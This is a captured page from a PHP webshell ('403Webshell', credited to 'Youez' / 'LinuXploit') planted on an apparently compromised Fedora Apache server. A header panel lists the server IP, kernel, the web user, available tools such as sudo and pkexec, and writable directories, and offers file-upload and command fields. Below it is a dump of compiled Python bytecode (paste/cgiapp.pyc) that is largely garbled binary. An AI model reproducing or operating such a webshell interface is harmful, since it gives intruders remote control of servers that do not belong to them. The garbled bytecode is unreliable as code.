403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/paste/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/paste//cgiapp.pyc
Ńň
•ĘIc@sćdZddkZddkZyddkZWnej
o
dZnXddklZddgZde	fd„ƒYZ
defd„ƒYZdefd	„ƒYZ
d
efd„ƒYZdddd„Zdddd
„ZdS(s%
Application that runs a CGI script.
i˙˙˙˙N(t
converterstCGIErrortCGIApplicationcBseZdZRS(s`
    Raised when the CGI script can't be found or doesn't
    act like a proper CGI script.
    (t__name__t
__module__t__doc__(((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyRscBs)eZdZdedd„Zd„ZRS(sý
    This object acts as a proxy to a CGI application.  You pass in the
    script path (``script``), an optional path to search for the
    script (if the name isn't absolute) (``path``).  If you don't give
    a path, then ``$PATH`` will be used.
    cCsJ|otdƒ‚n||_|djo"tiiddƒidƒ}n||_d|jo=|djptd||f‚|iddƒ\}}ntii	|ƒ|jopxv|iD]E}tii
tii||ƒƒotii||ƒ|_PqĹqĹWt
d||ifƒ‚n
||_||_||_dS(	Nsjglobal_conf is no longer supported for CGIApplication (use make_cgi_application); please pass None insteadtPATHtt:t?sNYou cannot have '?' in your script name (%r) and also give a query_string (%r)isScript %r not found in path %r(tNotImplementedtscript_filenametNonetostenvirontgettsplittpathtAssertionErrortabspathtexiststjointscriptRtinclude_os_environtquery_string(tselftglobal_confRRRRtpath_dir((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyt__init__!s0
	
"	

"			c
Csúd|jo*|iddƒ|iddƒ|d<n|iotiiƒ}nh}xG|D]?}|iƒ|jo&t||tƒo||||<qaqaW|idj	o<|iddƒ}|o|d7}n||i|d<n|i
|d<ti|i
gdti
d	ti
d
ti
d|dtii|i
ƒƒ}t||ƒ}to-t|dti|ƒd	|d
|d
ƒnK|iti|ƒiƒƒ\}}	|	o|d
i|	ƒn||ƒ|ip||i|iƒngS(NtREQUEST_URItSCRIPT_NAMERt	PATH_INFOtQUERY_STRINGt&tSCRIPT_FILENAMEtstdintstdouttstderrtenvtcwdswsgi.errors(RRR
Rtcopytuppert
isinstancetstrRRRt
subprocesstPopentPIPERtdirnamet	CGIWritertselecttproc_communicatetStdinReadertfrom_environtcommunicatetreadtwritetheaders_finishedtstatustheaders(
RRtstart_responsetcgi_environtnametoldtproctwriterR$R%((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyt__call__CsL


			$

N(RRRRtTrueRRA(((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyRs
R0cBseZd„Zd„ZRS(cCsC||_||_d|_g|_t|_d|_d|_dS(Ns200 OKR(	RR;R9R:tFalseR8RR@tbuffer(RRR;((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyRqs						cCsp|io|i|ƒdS|i|7_x>d|ijo-d|ijo"|iiddƒ\}|_n|iiddƒ\}|_|pKt|_|i|i|iƒ|_|i|iƒ|`|`|`Pq.d|jotd|ƒ‚q.|iddƒ\}}|i	ƒ}|i
ƒ}|iƒdjo
||_q.|ii||fƒq.WdS(Ns
s
iRsBad header line: %rR9(
R8R@RDRRBR;R9R:Rtlstriptstriptlowertappend(Rtdatatline1R=tvalue((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR7zs6

"	

(RRRR7(((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR0os		R3cBs2eZd„Zd„ZeeƒZdd„ZRS(cCs||_||_dS(N(R#tcontent_length(RR#RL((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR›s	cCs=|idƒ}|ot|ƒ}nd}||d|ƒS(NtCONTENT_LENGTHis
wsgi.input(Rtint(tclsRtlength((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR4Ÿs
cCsl|ipdS|djo|ii|iƒ}n|iit|i|ƒƒ}|it|ƒ8_|S(NR(RLRR#R6tmintlen(Rtsizettext((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR6Šs

N(RRRR4tclassmethodRR6(((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR3™s		cCsg}g}d}|io
ttdƒ}|io9|iiƒto|i|iƒq‚|iiƒn|djpt	‚|i
o|i|i
ƒn|djpt	‚|io|i|iƒn|djpt	‚xě|p|oÝti||gƒ\}}	}
|i|	joŁ|d}}dt
|ƒ}|o||i|ƒ7}n|p!|iiƒ|i|iƒqČti|iiƒ|ƒ}
|
t
|ƒjo||
}qČn|i
|jotti|i
iƒdƒ}|djo!|i
iƒ|i|i
ƒn|o|i|ƒ}n|i|ƒn|i|jotti|iiƒdƒ}|djo!|iiƒ|i|iƒn|o|i|ƒ}n|i|ƒqéqéWy|iƒWn,tj
o }|idjo‚qnXdS(sf
    Run the given process, piping input/output/errors to the given
    file-like objects (which need not be actual file objects, unlike
    the arguments passed to Popen).  Wait for process to terminate.

    Note: this is taken from the posix version of
    subprocess.Popen.communicate, but made more general through the
    use of file-like objects.
    Rtnewlinesiii
N(tuniversal_newlinesthasattrtopenR#tflushtinputRHtcloseRRR$R%R1RRR6tremoveR
R7tfilenot_translate_newlinestwaittOSErrorterrno(R?R#R$R%tread_sett	write_settinput_bufferttrans_nltrlisttwlisttxlisttnexttnext_lent
bytes_writtenRIte((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyR2łsf










cCs[|djo#|idƒp
|idƒ}nti|ƒ}t|d|d|d|ƒS(s9
    Paste Deploy interface for :class:`CGIApplication`
    
    This object acts as a proxy to a CGI application.  You pass in the
    script path (``script``), an optional path to search for the
    script (if the name isn't absolute) (``path``).  If you don't give
    a path, then ``$PATH`` will be used.
    RRRRN(RRRtasboolR(RRRRR((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pytmake_cgi_applications

#(RR
R,R1tImportErrorRt
paste.utilRt__all__t	ExceptionRtobjectRR0R3R2Ro(((s0/usr/lib/python2.6/site-packages/paste/cgiapp.pyt<module>sW*M

Youez - 2016 - github.com/yon3zu
LinuXploit